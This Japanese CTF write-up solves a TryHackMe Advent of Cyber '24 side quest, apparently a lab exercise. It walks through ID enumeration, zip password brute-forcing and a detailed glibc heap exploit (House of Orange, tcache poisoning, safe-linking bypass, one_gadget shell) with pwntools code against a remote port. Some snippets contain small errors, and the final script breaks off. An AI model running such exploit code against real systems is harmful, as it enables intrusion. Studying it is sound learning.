[TryHackMe] Advent of Cyber '24 — Side Quest 3: Escaping the Blizzard [Writeup]

![000.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/f1d987fd-1fad-9dae-3948-dab3d7e3ce80.png)
TryHackMeで開催されたAdbent of Cyber '24のSide QuestのWriteupです。
筆者はセキュリティ勉強歴3ヵ月弱の初心者ハッカーです。
イベントに参加した記録として初めてWriteupを書いてみます。
すべての問題を自力で解いたわけではないことと、他の方の解法を参考にしている箇所があることをご承知おきください。

# T3 Keycard
T3 KeycardはMain QuestのDay12から見つけられます。
Main Questから`http://MACHINE_IP:5000/`にアクセスします。
![001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/0fcb9434-28e9-d24d-12a8-49f77264b9f8.png)
`110:tester`でログインします。
銀行の送金システムが実装されているようなので、`Account Number:111`に$1000送ってみます。
![002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/2ad94f8a-c27a-a210-11c7-060fe2466ca8.png)
トランザクションIDとして`d10ec7c16cbe9de8fbb1c42787c3ec26`が表示されました。
![003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/ee1a7882-71e8-62cc-2f7e-a6c84ecb3847.png)

`hashcat`にかけるとこのハッシュ値は`1339`を`md5`でハッシュ化したものだとわかりました。

つまり先のトランザクションは1339番目に成功したトランザクションということです。
このidに対してHTTPパラメータ汚染を仕掛けるのが一番最初に思い付く攻撃でしょうか？

`http://MACHINE_IP:5000`に対してディレクトリ列挙を行います。
```console
$ feroxbuster -u http://MACHINE_IP:5000
```
![004.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/7eac39fd-240e-4b05-28be-3d2537a3493c.png)
`/transactions`というディレクトリを発見しました。

アクセスしてみます。
![005.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/5dbf0331-885c-e0bf-c8f5-525a0b4a625b.png)
IDが必要なようです。
`/transactions?id=d10ec7c16cbe9de8fbb1c42787c3ec26`としてアクセスしてみます。
![006.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/c7c7a84f-96dc-d85d-0caa-f36fa4ee22db.png)
トランザクションの内容が表示されました。

Main Questには**Where balances shift and numbers soar, look for an entry - an open door!** というヒントが表示されています。
トランザクションIDを変更して、預金残高が吊り上がっているアカウントを探せということでしょうか？

まずは1-1339までの整数をmd5でハッシュ化したファイルを用意します。
```console
$ for i in $(seq 1 1339); do echo -n "$i" | md5sum | awk '{print $1}' >> hashes.txt; done
```

簡単なスクリプトを書きます。
```python
import requests

url = "http://<MACHINE_IP>:5000/transactions"
headers = {
        "Cookie": "session=<SESSION_COOKIE>"
}
hashes_file = "hashes.txt"
output_file = "responses.txt"

with open(hashes_file, "r") as hash_file, open(output_file, "w") as response_file:
        for i, line in enumerate(hash_file):
                hash_value = line.strip()
                params = {"id": hash_value}
                print(f"In progress: {i}\r")

                try:
                        response = requests.get(url, headers=headers, params=params)
                        response_data = response.json()

                        if response_data.get("error") != "Transaction not found":
                                response_file.write(f"Hash: {hash_value}\nResponse: {response_data}\n\n")
                                print(f"Found result for hash {hash_value}")

                except Exception as e:
                        response_file.write(f"Hash: {hash_value}\nError: {str(e)}\n\n")
                        print(f"Error occurred for hash {hash_value}: {e}")

print("Processing completed. Results are saved in 'responses.rxr'.")
```
`/transactions?id=<TRANSACTION_ID>`に対してGETリクエストを送り、エラー以外が返ってきたらそのレスポンスを記録するというコードです。

ちなみに、結論から言うと、ハッシュファイルは降順で用意した方がいいです。

コードを実行するとあるトランザクションIDのstatusがbase64で表記されています。
```
Hash: ff49cc40a8890e6a60f40ff3026d2730
Response: {'account_number': 99, 'amount': '$25000', 'status': 'SGkgTWNTa2lkeSA8MyAvc2VjcmV0LzBvcHNJRGlkSXRBZ2Fpbl9NYXlvck1hbHdhcmUxMzM3LnBuZyA=', 'transaction_id': 'ff49cc40a8890e6a60f40ff3026d2730'}
```
これをbase64でデコードすると`Hi McSkidy <3 /secret/0opsIDidItAgain_MayorMalware1337.png `というメッセージが得られました。
URLにアクセスしてみましょう。
![007.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/6e405528-eb70-abd7-3913-db2b3cde1f77.png)
T3 Keycardを手に入れることができました。

# What is the content of the file foothold.txt?
Side Questのマシンを起動して、nmapを行います。
```console
$ nmap -p- -Pn --min-rate 5000 10.10.130.117                                
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 13:04 JST
Nmap scan report for 10.10.130.117
Host is up (0.27s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT      STATE SERVICE
21337/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 27.92 seconds
```
21337番ポートが空いているので見に行きます。
![008.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/6fc01b14-9d5f-6860-5189-ba2148235aad.png)
`Description Key:`にT3 Keycardのパスワードを入力してfirewallを解除します。

その後にもう一度nmapを行ってみると、22、80、1337番ポートが空いていることが確認できました。
```console
$ nmap -p- --min-rate 5000 10.10.130.117
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 13:10 JST
Nmap scan report for 10.10.130.117
Host is up (0.27s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1337/tcp  open  waste
21337/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.03 seconds
```
80番ポートを確認しに行きます。
![009.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/f1554b9b-00fd-cb8b-3ca7-7759bfde908a.png)
特に気になるものはなかったので、ディレクトリを列挙します。
![010.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/574c1135-7e34-359b-5d06-2137224cbabf.png)
`/backup`以下に注目します。
`/backup/recommended-passwords.txt`にはパスワードリストが、`/backup/enc`にはELFファイルがありました。
![011.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/5d89aee8-5874-e89b-0456-7e275738265a.png)
`recommended-passwords.txt`はローカルに`passwords.txt`として保存しておきます。

ダウンロードされた`enc`を実行してみます。
```console
$ ./enc                                                                                         
Usage: ./enc <password>
```
試しに`test`という文字列を入力してみます。
```console
$ ./enc test    
f17fbb7dca27d15bc0fc78e15699d15d
```
どうやら文字列をエンコードする実行ファイルのようです。
また、`/backup`には`/secure-storage.zip`というファイルもありました。
![012.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/8445c479-738a-1461-7265-1fd0f461c7e4.png)

ダウンロードして`zipinfo`してみます。
```console
$ zipinfo secure-storage.zip 
Archive:  secure-storage.zip
Zip file size: 4804976 bytes, number of entries: 6
drwxrwxr-x  6.3 unx        0 bx stor 24-Dec-05 23:30 secure-storage/
-rwxr-xr-x  6.3 unx      758 Bx u099 24-Nov-14 20:23 secure-storage/Dockerfile
-rw-rw-r--  6.3 unx       32 Bx u099 24-Dec-05 04:26 secure-storage/foothold.txt
-rwxr-xr-x  6.3 unx   236616 Bx u099 24-Nov-14 20:15 secure-storage/ld-linux-x86-64.so.2
-rwxr-xr-x  6.3 unx  6228984 Bx u099 24-Nov-14 20:15 secure-storage/libc.so.6
-rwxrwxr-x  6.3 unx    24600 Bx u099 24-Dec-05 23:30 secure-storage/secureStorage
6 files, 6490990 bytes uncompressed, 4803804 bytes compressed:  26.0%
```
`foothold.txt`が含まれています。
解凍を試みますがうまくいかず、空のディレクトリが生成されました。
```console
$ unzip secure-storage.zip
```
7zipで解凍してみます。
```console
$ 7z x secure-storage.zip                                               

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:6 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 4804976 bytes (4693 KiB)

Extracting archive: secure-storage.zip
--
Path = secure-storage.zip
Type = zip
Physical Size = 4804976

    
Enter password (will not be echoed):
```
パスワードが必要なようです。
恐らく、`recommended-passwords.txt`を`enc`を用いて暗号化し、その暗号でzipファイルを解凍するという手順で開けるはずです。
そのようなスクリプトを書きます。
まずは、`passowrds.txt`を`enc`を使って暗号化し、`enc_passwords.txt`として保存します。
```python
import subprocess

enc_binary = "./enc"
password_file = "passwords.txt"
output_file = "enc_passwords.txt"

with open(password_file, "r") as file:
        passwords = file.readlines()

with open(output_file, "w") as output:
        for i, password in enumerate(passwords):
                password = password.strip()
                try:
                        result = subprocess.run(
                                [enc_binary, password],
                                stdout = subprocess.PIPE,
                                stderr = subprocess.PIPE,
                                text = True
                        )

                        if result.returncode == 0:
                                cipher_text = result.stdout.strip()
                                output.write(f"{cipher_text}\n")
                                print(f"[{i}] Password '{password}' encrepted successfully.")
                        else:
                                print(f"[{i}] Error with password '{password}': {result.stderr.strip()}")

                except Exception as e:
                        print(f"[{i}] Error processing password '{password}': {e}")

print(f"Encryption completed. Results saved in {output_file}.")
```
次に`enc_passwords.py`をワードリストとして、7zipで`secure-storage.zip'を解凍を試します。
```python
import subprocess

zip_file = "secure-storage.zip"
password_file = "enc_passwords.txt"

with open(password_file, "r") as file:
        passwords = file.readlines()

for i, password in enumerate(passwords):
        password = password.strip()
        print(f"Trying password: {password}")

        try:
                result = subprocess.run(
                        ["7z", "x", zip_file, f"-p{password}", "-y"],
                        stdout=subprocess.PIPE,
                        stderr=subprocess.PIPE,
                        text=True
                )

                stdout = result.stdout
                stderr = result.stderr

                if "Everything is Ok" in stdout:
                        print(f"[{i}] Success! Password is: {password}")
                        break
                elif "Wrong password" in stderr:
                        print(f"[{i}] Wrong password: {password}")
                else:
                        print(f"[{i}] Unexpected output: {stdout}\n{stderr}")

        except Exception as e:
                print(f"[{i}] Error while trying password {password}: {e}")

print("Password testing completed.")
```
`TheMayorisKing:30510d980c6bd5b3898dd0836426807b`で解凍に成功しました。
`/secure-storage`以下で`foothold.txt`を得ることができました。
~~後で気が付きましたが、`zip2john`を使えばもっと簡単でしたね~~

# What is the content of the file user.txt?
正直に言うと、筆者が解けたのは`foothold.txt`まででした。
ここから先は他の方のWriteupなどを参考にしています。

## Reverse Engineering with Ghidra
解答した`/secure-storage`には`secureStorage`というELFファイルが含まれています。
これをGhidraでデコンパイルしてみます。
`create()`をデコンパイルした結果が以下です。
![013.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/c4e2c4fb-c2da-28c7-ed83-6bd9af79b80e.png)
`malloc`で確保したサイズよりも`0x10`バイト多く`read`してしまっています。
`edit()`も同様に`0x10`バイト多く`read`しています。
バッファオーバーフローの脆弱性を利用することが出来そうです。

## HeapBufferOverFlow
### Overwrite Top Chunk
`checksec`を実行してみます。
```console
$ checksec --file=secureStorage
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RW-RUNPATH   54 Symbols        No    0               2               secureStorage
```
ということで、バッファオーバーフロー対策は存分に盛り込まれているようです。
大変ですね。

また、このプログラムでは`free`が一度も実行されていません。
バッファオーバーフローを悪用するには`free`が必要だと思っていた私はここで詰まってしまいました。
しかしどうやら`free`がなくとも`malloc`だけで`free`と似たことを起こせるようです。

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/

House of Orangeというテクニックを用いると、トップチャンクさえ書き換えることができれば`free`無しでも攻略できるようです。

トップチャンクが書き換えられることを検証します。
まず、`create()`を呼び出して適当な`Permit Entry`を作成します。
```console
 ______ _ _                      _  ______                                       
 | ___ \ (_)                    | | | ___ \                                      
 | |_/ / |_ __________ _ _ __ __| | | |_/ / ___  __ _ _ __                       
 | ___ \ | |_  /_  / _` | '__/ _` | | ___ \/ _ \/ _` | '__|                      
 | |_/ / | |/ / / / (_| | | | (_| | | |_/ /  __/ (_| | |                         
 \____/|_|_/___/___\__,_|_|  \__,_| \____/ \___|\__,_|_|                         
                                                                                
                                                                                
                            _ _                                                 
                           (_) |                                                
  _ __   ___ _ __ _ __ ___  _| |_   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __ 
 | '_ \ / _ \ '__| '_ ` _ \| | __| | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|
 | |_) |  __/ |  | | | | | | | |_  | | | | | | (_| | | | | (_| | (_| |  __/ |   
 | .__/ \___|_|  |_| |_| |_|_|\__| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|   
 | |                                                             __/ |          
 |_|                                                            |___/           
[1] Create Permit Entry
[2] Read Permit Entry
[3] Edit Permit Entry
[4] Exit Permit Manager
>> 1
Enter permit index:
0
Enter entry size:
24
Enter entry data:
AAAAAAAAAAAAAAAAAAAAAAAA
[1] Create Permit Entry
[2] Read Permit Entry
[3] Edit Permit Entry
[4] Exit Permit Manager
```
このときのヒープの状態を確認します。
```console
pwndbg> x/gx &chunks
0x555555558060 <chunks>:        0x000055555555b2a0
pwndbg> x/6gx 0x000055555555b2a0
0x55555555b2a0: 0x4141414141414141      0x4141414141414141
0x55555555b2b0: 0x4141414141414141      0x0000000000020d51
0x55555555b2c0: 0x0000000000000000      0x0000000000000000
```
`0x20d51`という部分がトップチャンクです。
これを`edit()`から書き換えます。
```console
[1] Create Permit Entry
[2] Read Permit Entry
[3] Edit Permit Entry
[4] Exit Permit Manager
>> 3
Enter entry index:
0
Enter data:
BBBBBBBBBBBBBBBBBBBBBBBBB
```
その結果
```console
x/6gx 0x000055555555b2a0
0x55555555b2a0: 0x4242424242424242      0x4242424242424242
0x55555555b2b0: 0x4242424242424242      0x0000000000020d42
0x55555555b2c0: 0x0000000000000000      0x0000000000000000
```
トップチャンクが`0x20d42`に書き換わっていることが確認できます。
chatGPT先生の説明によると
>トップチャンクとはヒープ領域の中でヒープの末尾部分（最上位アドレス側）に位置する未割り当て領域を指します。

とのことです。
House of Orangeはトップチャンクのサイズを不正な値に書き換えることで、残っているヒープ領域を誤認させ、メモリの開放を行わせるという手法だと筆者は認識しています。

### Leak libc Base Address
エクスプロイトコードの雛形を作成します。
```python:exploit.py
from pwn import *
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
secureStorage = ELF('./secureStorage')
 
r = process("./secureStorage")

def create(index, size, content):
	p.sendlineafter(b'\n>> ', b'1')
	p.sendlineafter(b'Enter permit index:\n', str(index).encode())
	p.sendlineafter(b'Enter entry size:\n', str(size).encode())
	p.sendafter(b'Enter entry data:\n', content)
	
def show(index):
	p.sendlineafter(b'\n>> ', b'2')
	p.sendlineafter(b'Enter entry index:\n', str(index).encode())
	res = p.recvuntil(b"\n[1] Create Permit Entry", drop=True)
	return res
	
def edit(index, content):
	p.sendlineafter(b'\n>> ', b'3')
	p.sendlineafter(b'Enter entry index:\n', str(index).encode())
	p.sendafter(b'Enter data:\n', content)

### Exploit
add(0, 24, b'A'*24)

r.interactive()
```
`gdb.attach(r)`として、デバッガの起動を自動化したかったのですが、うまくいかなかったのでデバッガは手動で起動することにします。
```console
$ gdb -p <PROCESS_ID>
```
まずはトップチャンクのサイズをリークしてみます。
`read()`では`puts()`が使われており、nullバイト`0x00`が現れるまで読み込んでしまうことを利用して、トップチャンクをリークします。
```python:exploit.py
### Exploit
create(0, 24, b'A'*24)
wilderness_size = "0x"+show(0)[24:][::-1].hex()
log.info("Wilderness size: " + wilderness_size)
```
```console
$ python3 exploit.py
[...]
[+] Starting local process './secureStorage': pid 98125
[*] Wilderness size: 0x020d51
[*] Switching to interactive mode
[...]
```
バッファオーバーフローを利用してトップチャンクを書き換えます。
トップチャンクに適当な数を入れると怒られるので、`0xfff`との論理和をとることで、下三桁を抜き出します。
```python:exploit.py
# Exploit
edit(0, b'A'*24 + p64(eval(wilderness_size)&0xfff))
```
```console
pwndbg> x/gx &chunks
0x562b3aa07060 <chunks>:        0x000055781e3e02a0
pwndbg> x/6gx 0x000055781e3e02a0
0x562b4d9982a0: 0x4242424242424242      0x4242424242424242
0x562b4d9982b0: 0x4242424242424242      0x0000000000000d51
0x562b4d9982c0: 0x000000000000000a      0x0000000000000000
```
これでトップチャンクを`0x20d51`から`0xd51`に小さくできました。

ちなみになぜトップチャンクを適当な数で上書きすると怒られるのかというと、トップチャンクのアドレス(?)とトップチャンクのサイズを足したとき、下三桁が000になっていないといけないからです。

今回の場合は`0x562b4d9982b0 + 0xd50 = 0x562b4d999000`となります。
(トップチャンクの下位1ビットは`PREV_INUSE`用のチェックビットなので除外します)

この状態で新しく大きな領域を`malloc`すると、十分なサイズがないと判断され、新しいheap領域が確保されるとともにトップチャンクが`unsorted bin`に入ります。
これは実質`0xd50`バイトの領域を`free`したことと同じになります。
```python:exploit.py
# Exploit
create(1, 3992, b'largechunk')
```
新たに3992バイトの領域を`malloc`させました。
なぜ3992バイトなのかというと、`0xd50`=3408バイトよりも大きいことと、後のためにトップチャンクの下三桁を`0x061`としたかったからです。

デバッガで確認します。
```console
pwndbg> x/2gx &chunks
0x55ea71546060 <chunks>:        0x000055ea7899b2a0      0x000055ea789bc010
pwndbg> x/8gx 0x000055ea7899b2a0
0x55ea7899b2a0: 0x4141414141414141      0x4141414141414141
0x55ea7899b2b0: 0x4141414141414141      0x0000000000000d31
0x55ea7899b2c0: 0x00007efda6c03b20      0x00007efda6c03b20
0x55ea7899b2d0: 0x0000000000000000      0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all: 0x55ea7899b2b0 —▸ 0x7efda6c03b20 (main_arena+96) ◂— 0x55ea7899b2b0
```
トップチャンクがあった領域が`unsorted bin`に入っていることが確認できました。
また、`create(1, 3992, b'largechunk')`を行う前後で、デバッガの`vmmap heap`からヒープ領域が拡張されたことがわかります。
```
0x56057d1fb000     0x56057d21c000 rw-p    21000      0 [heap]
↓
0x56057d1fb000     0x56057d23e000 rw-p    43000      0 [heap]
```

ここからはlibcアドレスのリークを目指します。

```python:exploit.py
create(2, 24, b'B')
```
としてヒープの状態を見てみます。
![014_paint.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/1b2e68ad-5ea4-1c65-931c-fb222c751f51.png)
`crete()`で入力した`B`が見えます。
緑線部は`libc`に関するアドレスで、黄線部は`heap`に関するアドレスです。

ASLR(Address Space Layout Randomization)の影響でアドレスはプログラムの実行ごとにランダムに変更されますが、オフセットは変わりません。
なのでオフセットを事前に計算しておき、それぞれのアドレスから引けばベースアドレスが求められます。
```console
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x5629d0b2a000     0x5629d0b2c000 rw-p     2000   5000 /home/kali/thm/AdventofCyber2024/SQ3/secure-storage/secureStorage                                                                                                            
►   0x5629f6320000     0x5629f6363000 rw-p    43000      0 [heap]
    0x7f50a1e00000     0x7f50a1e28000 r--p    28000      0 /home/kali/thm/AdventofCyber2024/SQ3/secure-storage/libc.so.6
pwndbg> p/x 0x00007f50a2004120 - 0x7f50a1e00000
$1 = 0x204120
pwndbg> p/x 0x00005629f63202b0 - 0x5629f6320000
$2 = 0x2b0
```
`libc`のベースアドレスとのオフセットは`0x204120`、`heap`のベースアドレスとのオフセットは`0x2b0`と分かりました。
バッファオーバーフローを利用してアドレスをリークします。
```python:exploit.py
## Libc base address leak
edit(2, b'B'*8)
libc_leak = "0x" + show(2)[8:][::-1].hex()
log.info("libc leak: " + libc_leak)
libc_base = eval(libc_leak) - 0x204120
log.info("libc base address: " + hex(libc_base))
libc.address = libc_base

## Heap base address leak
edit(2, b'B'*16)
heap_leak = "0x" + show(2)[16:][::-1].hex()
log.info("heap leak: " + heap_leak)
heap_base = eval(heap_leak) - 0x2b0
log.info("heap base address: " + hex(heap_base))
```
```console
$ python3 exploit.py
[...]
[*] libc leak: 0x7f63d2a04120
[*] libc base address: 0x7f63d2800000
[*] heap leak: 0x55a4735022b0
[*] heap base address: 0x55a473502000
[...]
```
ベースアドレスがあっているかはデバッガの`vmmap heap`から確認できます。
まあ下三桁が`000`なら大体あっているはずです。

### Tcache Poisoning
ここからは`tcache`の`fd`を書き換えて`main_ret`をリークさせることを目指します。
手順としては、
1. `unsorted bin`のときど同様に、トップチャンクを二回`tcache`に入れる。
1. `tcache`の`fd`を任意のアドレスに書き換える
1. 二つ目の`tcache`を消費する。
1. 一つ目の`tcache`が書き換えたアドレスの位置に誤認されるので、そこからアドレスをリークする。

となります。
```python:exploit.py
## Create two tcache bins
edit(1, b'C'*3992 + p64(0x61))
create(3, 3992, b'C'*3992 + p64(0x61))
create(4, 4096, b'largechunk')
```
インデックスが1の`entry`を編集して、トップチャンクの大きさを`0x61`とします。
3992バイトである理由は先と同様で、トップチャンクの下三桁を`0x061`としておきたいからです。
`create(3, 3992, b'C'*3992 + p64(0x61))`で一つ目の`tcache`を作るとともに、トップチャンクの大きさを`0x61`とします。
`create(4, 4096, b'largechunk')`で二つ目の`tcache`を作ります。4096は適当な大きな数字です。
この状態でデバッガを確認すると`0x40`バイトの`tcache`が二つできていることがわかります。
```console
pwndbg> tcachebin
tcachebins
0x40 [  2]: 0x559adb2fefb0 —▸ 0x559adb2dcfb0 ◂— 0
```
メタデータ用に`0x20`バイト減っていることに注意してください。

ここで、一つ目に作った`tcache`は`create(1,...)`で確保されたヒープ領域に、二つ目に作った`tcache`は`create(3,...)`で確保されたヒープ領域に入っています。

二つ目に作った`tcache`が一つ目に作った`tcache`を指し示すポインタを書き換えます。
これで次に`tcache`を消費するような`malloc`を行うと、書き換えた任意のアドレスに`create()`で書き込みができるようになります。
```python:exploit.py
## Tcache poisoning
vuln_tcache = heap_base + 0x43fb0
log.info("tcache address: " + hex(vuln_tcache))
target = libc.symbols["__libc_argv"] - 0x10
log.info("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)
edit(3, b'D'*3992 + p64(0x61-0x20) + p64(safe_link_addr))
create(5, 0x40-0x10, b'cunsumetcache')
create(6, 0x40-0x10, b'E'*16)
```
`0x43fb0`というオフセットはヒープベースアドレスと`tcache`のアドレスの差から求められます。
```conosle
pwndbg> tcachebin
tcachebins
0x40 [  2]: 0x559adb2fefb0 —▸ 0x559adb2dcfb0 ◂— 0
pwndbg> p/x 0x559adb2fefb0 - 0x559adb2bb000
$1 = 0x43fb0
```
`__libc_argv`の直前を`tcache`の開始としてインデックスが3の`entry`から二つ目の`tcache`の`fd`に書き込みます。
このとき、`safe_linking`をバイパスするために、`tcache`のアドレスを12bitシフトしたものと目標のアドレスのXORを取ります。
この状態で二つ目の`tcache`に入るようにサイズを調整した`entry`を作成すると、次に作られる`entry`のアドレスは`__libc_argv`の直前になります。
```python:exploit.py
## Stack leak
stack_leak = "0x" + show(6)[16:][::-1].hex()
log.info("stack leak: " + stack_leak)
main_ret = eval(stack_leak) - 0x120
log.info("main_ret: " + hex(main_ret))
```
作った`entry`を`show()`で読み込むと`__libc_argv`の内容まで見ることができるので、`main_ret`のアドレスをリークさせることができました。
`0x120`というオフセットは以下のようにして`__libc_argv`と`main_ret`の差を計算することで求められます。
```console
$ gdb ./secureStorage
pwndbg> break main
pwndbg> run
pwndbg> info frame
Stack level 0, frame at 0x7fffffffdbd0:
 rip = 0x555555555695 in main; saved rip = 0x7ffff7c2a1ca
 called by frame at 0x7fffffffdc70
 Arglist at 0x7fffffffdbc0, args: 
 Locals at 0x7fffffffdbc0, Previous frame's sp is 0x7fffffffdbd0
 Saved registers:
  rbp at 0x7fffffffdbc0, rip at 0x7fffffffdbc8

pwndbg> x/gx __libc_argv
0x7fffffffdce8: 0x00007fffffffe08d
pwndbg> p/x 0x7fffffffdce8 - 0x7fffffffdbc8
$1 = 0x120
```
ここまでで`main_ret`のアドレスリークが完了しました。

### Execute /bin/sh
もう一度tcache poisoningを行い、今度は`main_ret`の内容を書き換えます。
まずは`unsorted bin`を消費して、以降ここに書き込まれることが無いようにしておきます。
```python:exploit.py
## Cunsume unsorted bin created by index 1
create(7, 0xd00, b'consumeunsortedbin')
```
`0xd00`はもともと`0xd50`あったサイズから`unsorted bin`に入るときにメタデータ用として消費された`0x20`バイト、インデックスが2の`entry`を作る際に消費された`0x20`バイト、これから確保されるメタデータ分の`0x10`バイトを引いて求められます。

```python:exploit.py
## Create two tcache bins
create(8, 3016, b'E'*3016 + p64(0x421))
create(9, 3032, b'E'*3032 + p64(0x421))
create(10, 4096, b'removefirsttcache')
```
先と同様の方法で今度は`0x400`バイトの`tcache`を作ります。
(なぜ`0x400`の大きさで`tcache`を作るのかはよく分かってません。)
```python:exploit.py
## Tcache poisoning
vuln_tcache = heap_base + 0x87bf0
log.info("new vuln tcache: " + hex(vuln_tcache))
target = main_ret - 0x8
log.info("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)
edit(9, b'D'*3032 + p64(0x421-0x20) + p64(safe_link_addr))
create(11, 0x400-0x10, b'removefirsttcache')
```
`0x87bf0`というオフセットも`tcache`とヒープベースアドレスの差から求まります。
これで次に`entry`を作成すると、`main_ret`の直前に`entry`ができるようになりました。
あとはシェルを動かすだけです。
```python:exploit.py
## Execute /bin/sh
pop_rax_ret = p64(libc_base + 0xdd237)
pop_rbx_ret = p64(libc_base + 0x586d4)
target_address = p64(libc_base + 0x583dc)

payload = p64(0) + pop_rax_ret + p64(0) + pop_rbx_ret + p64(0) + target_address
create(12, 0x400-0x10, payload)
```
それぞれのペイロードのオフセットは以下のように求められます。
まずは`/bin/sh`のアドレスから
```console
$ one_gadget libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL
```
`rax`と`rbx`を`0x00`とした状態でこのアドレスにアクセスすればシェルが動くので、そのためのコードを以下のように探します。
```console
$ ~/tools/rp/src/build/rp-lin -f libc.so.6 --rop=2 --unique | grep 'pop rax'
0xdd237: pop rax ; ret ; (1 found)

$ ~/tools/rp/src/build/rp-lin -f libc.so.6 --rop=2 --unique | grep 'pop rbx'
0x586d4: pop rbx ; ret ; (7 found)
```
これらを`libc`のベースアドレスとのオフセットとして足し合わせるとシェルを動かせます。

### Exploit Code
最終的なコードは以下のようになります。
```python:exploit.py
from pwn import *
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
secureStorage = ELF('./secureStorage')
TARGET_IP = "<TARGET_IP>" # change this

p = remote(TARGET_IP, 1337)
# p = process("./secureStorage")

def create(index, size, content):
	p.sendlineafter(b'\n>> ', b'1')
	p.sendlineafter(b'Enter permit index:\n', str(index).encode())
	p.sendlineafter(b'Enter entry size:\n', str(size).encode())
	p.sendafter(b'Enter entry data:\n', content)
	
def show(index):
	p.sendlineafter(b'\n>> ', b'2')
	p.sendlineafter(b'Enter entry index:\n', str(index).encode())
	res = p.recvuntil(b"\n[1] Create Permit Entry", drop=True)
	return res
	
def edit(index, content):
	p.sendlineafter(b'\n>> ', b'3')
	p.sendlineafter(b'Enter entry index:\n', str(index).encode())
	p.sendafter(b'Enter data:\n', content)

### Exploit
## House of Orange
# Overwrite top chunk (top_chunk_size & 0xfff)
create(0, 24, b'A'*24 + p64(0xd51))
# Create large chunk and top chunk goes to unsorted bin
create(1, 3992, b'largechunk')	# 3992 is larger than 0x410, which is placed in the unsorted bin instead of the tcache, and the last three digits of the top chunk should be 0x061.

## Leak libc base address
create(2, 24, b'B'*8)
libc_leak = "0x" + show(2)[8:][::-1].hex()
log.info("libc leak: " + libc_leak)
libc_base = eval(libc_leak) - 0x204120	# calculated using vmmap and comparing with libc base address
log.info("libc base address: " + hex(libc_base))
libc.address = libc_base

## Leak heap base address
edit(2, b'B'*16)
heap_leak = "0x" + show(2)[16:][::-1].hex()
log.info("heap leak: " + heap_leak)
heap_base = eval(heap_leak) - 0x2b0	# calculated using vmmap and comparing with heap base address
log.info("heap base address: " + hex(heap_base))

## Leak main_ret address
# Create two tcache bins
edit(1, b'C'*3992 + p64(0x61))	# 0x61 is 0x40+0x20 for tcache and last digit is for PREV_INUSE
# Create 1st tcache bin
create(3, 3992, b'C'*3992 + p64(0x61))
# Create 2nd tcache bin
create(4, 4096, b'largechunk')	# appropriately large numbers

## Tcache poisoning
vuln_tcache = heap_base + 0x43fb0	# calculated using tcachebin and comparing with heap base address
log.info("tcache address: " + hex(vuln_tcache))
target = libc.symbols["__libc_argv"] - 0x10
log.info("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)	# not-so-safe linking protection bypass
edit(3, b'D'*3992 + p64(0x61-0x20) + p64(safe_link_addr))
create(5, 0x40-0x10, b'removefirsttcache')
create(6, 0x40-0x10, b'E'*16)

## Stack leak
stack_leak = "0x" + show(6)[16:][::-1].hex()
log.info("stack leak: " + stack_leak)
main_ret = eval(stack_leak) - 0x120	# calculate from the difference between __libc_argv and main_ret
log.info("main_ret: " + hex(main_ret))

## Cunsume unsorted bin created by index 1
create(7, 0xd00, b'consumeunsortedbin')	# 0xd50 - 0x20(consumed as metadata when entering unsorted bin) - 0x20(consumed when creating the 2nd entry) -0x10(excess metadata for this create)

## Overwrite main_ret
# Create two tcache bins
create(8, 3016, b'E'*3016 + p64(0x421))	# 3016 is larger than 0x40, so it does not consume tcache, and the last three digits of the top chunk are 0x421(0x400+0x20)
# create 1st tcache bin
create(9, 3032, b'E'*3032 + p64(0x421))	# 3032 is larger than 0x40, so it does not consume tcache, and the last three digits of the top chunk are 0x421(0x400+0x20)
# create 2nd tcache bin
create(10, 4096, b'removefirsttcache')	# appropriately large numbers

## Tcache poisoning
vuln_tcache = heap_base + 0x87bf0	# calculated using tcachebin and comparing with heap base address
